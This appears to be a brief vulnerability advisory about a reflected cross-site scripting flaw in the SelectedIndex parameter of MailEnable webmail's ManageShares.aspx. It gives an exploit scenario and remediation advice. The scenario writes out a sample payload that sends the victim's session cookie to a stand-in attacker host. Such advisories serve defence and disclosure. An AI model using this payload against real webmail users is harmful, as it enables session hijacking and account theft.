Vulnerability AssessmentAI

Risk Assessment	While formal CVSS scores and EPSS data are not available for this CVE, multiple risk signals indicate this is a practical, exploitable vulnerability requiring immediate attention. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	An attacker crafts a malicious URL containing a javascript payload injected into the SelectedIndex parameter of ManageShares.aspx (e.g., /webmail/ManageShares.aspx?SelectedIndex=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) and sends it via spear-phishing email to MailEnable users. When a victim clicks the link while authenticated to MailEnable webmail, the unsanitized parameter is embedded directly into dynamically generated JavaScript, causing the attacker's code to execute in the victim's browser context. …
Remediation	Upgrade MailEnable to version 10.55 or later immediately, as this version contains the fix for the ManageShares.aspx parameter sanitization issue. … Detailed patch versions, workarounds, and compensating controls in full report.
